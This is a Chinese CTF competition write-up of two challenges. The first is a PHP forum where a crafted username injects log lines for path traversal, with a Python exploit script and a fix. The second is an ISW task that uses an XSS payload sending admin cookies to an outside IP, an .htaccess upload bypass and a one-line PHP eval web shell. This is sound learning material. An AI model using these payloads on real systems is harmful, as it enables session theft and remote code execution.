CCB&CISCN复盘

发布于:2025-03-22 ⋅ 阅读:(14) ⋅ 点赞:(0)

AWDP – ccfrum

自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜
如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给制作了一下镜像保存了一下, 但我自己并没有去拉取下来看看是否可行, 不过应该是没问题的吧, 毕竟我是复现完把日志删了之后直接就保存下来的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum

Seay扫描一下源码

主要关注config.php和admin.php存在 file_get_contents()file_put_contents()函数

在这里插入图片描述

那么最终可以预想就是想办法利用file_get_contents() 任意读文件

通过审计代码

admin.php

$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

会读取日志文件, 以换行符分割每一行

foreach ($log_lines as $line) {
    if (empty($line)) {
        continue;
    }

    $parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }

    $encoded_user = $parts[1];
    $action = $parts[2];
    $success = (int) $parts[3];
    $additional_info = $parts[4];

    if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } else {
            $failed_logs[] = $additional_info;
        }
    }
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {
    $banned_dir = "/var/www/banned/{$encoded_user}";

    if (file_exists($banned_dir)) {
        $files = scandir($banned_dir);
        // var_dump($files);
        foreach ($files as $file) {
            if ($file !== '.' && $file !== '..') {
                $file_path = $banned_dir . '/' . $file;
                $content = file_get_contents($file_path);
                $banned_contents[$username][] = $content;
            }
        }
    }
}

如果actionrecord_banned, $success == 1
那么就会遍历编码后的用户名下的所有文件, 将他们读取出来显示

<?php foreach ($contents as $content): ?>
	<pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>

所以想要构造的一个payload就是

,../../../,record_banned,1,

但是这里没有什么可控的变量, 还需要通过日志文件来利用

function log_action($username, $action, $succ, $additional = '')
{
    $log_id = uniqid();
    $e_username = encode_uname($username);
    $log_line = sprintf(
        "%s,%s,%s,%d,%s\n",
        $log_id,
        $e_username,
        $action,
        $succ,
        $additional
    );

    file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

写入日志文件的内容有

  • $log_id: uniqid() 不可控
  • $e_username = encode_uname($username); base64编码后的用户名, 不好控制为 ../进行目录穿越
  • $action, 相要利用必须为record_banned, 不可控
  • $succ 相要利用必须1, 也是不可控
  • $additional, 默认为空, 也没啥限制, 所以就需要想办法控制这个变量

再查找有哪里调用了log_action这个函数

function record_banned($username, $banned)
{
    $e_username = encode_uname($username);
    $banned_dir = "/var/www/banned/{$e_username}";
    $created = true;
    if (!file_exists($banned_dir)) {
        $created = mkdir($banned_dir, 0750);
    }
    $log = "";
    $succ = 1;
    if (!$created) {
        $succ = 0;
        $log = "Failed to create record directory for " . $username;
    } else {
        $filename = $banned_dir . '/' . time() . '.txt';
        if (!file_put_contents($filename, $banned)) {
            $succ = 0;
            $log = "Failed to record banned content";
        }
    }
    log_action($username, 'record_banned', $succ, $log);
}

可控的是变量$additional这里传参的是$log
它的值有三种

  • $log = "";
  • $log = "Failed to create record directory for " . $username;
  • $log = "Failed to record banned content";

唯一能够想办法控制的就是$username

要想办法达到这个条件就需要无法创建成功目录

$created = mkdir($banned_dir, 0750);

mkdir在创建目录的时候无法创建多重目录

也就是创建的目录名不能带有 / 那么就需要让base64编码后的用户名带上/就无法创建成功了

前面也已经知道读取的日志文件会以\n分割来生成每一行

$log_lines = explode("\n", $action_log);

而且也会遍历每一行, 以,分割每一部分, 取第二部分, 遍历该目录下的文件, 读取出来

foreach ($log_lines as $line)
$parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }
$encoded_user = $parts[1];
if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } 
$banned_dir = "/var/www/banned/{$encoded_user}";
$files = scandir($banned_dir);
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);

所以这里的用户名就是

???%0a,../../../,record_banned,1,

在这里插入图片描述

在这里就已经可以知道需要注册这样一个用户名了

还需要找到在哪里可以调用record_banned方法

post.php里面

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $title = $_POST['title'] ?? '';
    $content = $_POST['content'] ?? '';
    $username = $_SESSION['username'];

    if (has_sensitive_words($title) || has_sensitive_words($content)) {
        record_banned($username, $title . "|" . $content);
        die("Post contains sensitive words");
    }

需要让has_sensitive_words返回true

function has_sensitive_words($content)
{
    $SENSITIVE_WORDS = ['敏感词', 'SENSITIVE WORDS',];
    foreach ($SENSITIVE_WORDS as $word) {
        if (stripos($content, $word) !== false) {
            return true;
        }
    }
    return false;
}

也就是说title或者content其中有一个存在敏感词或者 SENSITIVE WORDS 就可以满足条件

到这里所有的前提条件都已经知道了, 就可以开始构造payload了

步骤

  1. 先注册账户, 构造特定的用户名
  2. 用特定的用户名登录, 到post.php路由发送相应的信息
  3. 再以管理员的账号密码登录, 进入到admin.php, 即可查看到flag

管理员的账号密码可以爆破得出 admin / password

可以看得到日志里面已经写入的,../../../,record_banned,1,

在这里插入图片描述

通过管理员用户访问admin.php下可以看到读取的文件

在这里插入图片描述

from requests import Session

basic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}

def register(sess: Session):
    resp = sess.post(basic + "/register.php", data=data)


def login(sess: Session):
    resp = sess.post(basic + "/login.php", data=data)

def post(sess: Session):
    data1 = {
        "title": "敏感词",
        "content": "tset",
    }
    resp = sess.post(basic + "/post.php", data=data1)


if __name__ == "__main__":
    sess = Session()
    register(sess)
    login(sess)
    post(sess)

所以这道题目的修复方法可以将 编码的函数改成md5加密, 就无法阻止mkdir创建目录失败, 也就无法利用可控参数username

function encode_uname($username)
{
    return base64_encode($username);
}

参考文章

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/

https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

ISW – CCB2025

考点: xss+文件上传

一天的比赛 ,就这一个成果, 唉

dirsearch 扫描

[14:03:24] 403 -  278B  - /.ht_wsr.txt
[14:03:24] 403 -  278B  - /.htaccess.bak1
[14:03:24] 403 -  278B  - /.htaccess.save
[14:03:24] 403 -  278B  - /.htaccess.orig
[14:03:24] 403 -  278B  - /.htaccess.sample
[14:03:24] 403 -  278B  - /.htaccess_extra
[14:03:24] 403 -  278B  - /.htaccess_orig
[14:03:24] 403 -  278B  - /.htaccess_sc
[14:03:24] 403 -  278B  - /.htaccessOLD2
[14:03:24] 403 -  278B  - /.htaccessOLD
[14:03:24] 403 -  278B  - /.htaccessBAK
[14:03:24] 403 -  278B  - /.html
[14:03:24] 403 -  278B  - /.htm
[14:03:24] 403 -  278B  - /.htpasswd_test
[14:03:24] 403 -  278B  - /.htpasswds
[14:03:24] 403 -  278B  - /.httr-oauth
[14:03:25] 403 -  278B  - /.php
[14:03:35] 302 -    0B  - /dashboard.php  ->  login.html
[14:03:37] 200 -  484B  - /feedback.html
[14:03:39] 301 -  312B  - /img  ->  http://172.18.114.20/img/
[14:03:43] 200 -  524B  - /login.html
[14:03:44] 302 -    0B  - /logout.php  ->  login.html
[14:03:56] 403 -  278B  - /server-status
[14:03:56] 403 -  278B  - /server-status/
[14:03:57] 301 -  312B  - /src  ->  http://172.18.114.20/src/
[14:03:57] 200 -  473B  - /src/
[14:04:00] 200 -   16KB - /users.log

/feedback.html

可以提交一些信息, 猜测是xss

<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>

在这里插入图片描述

可以拿到admin的cookie

拿admin的cookie的作用主要就是为了拿到上传的文件的路径

然后继续之前提交信息处可以上传图片, 文件上传绕过

上传 .htaccess

<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.jpg

<?php eval("$_POST[1]")?>

在这里插入图片描述后面一个多小时一直在尝试内网渗透方面, 可惜缺乏经验, 太菜了, 没有收获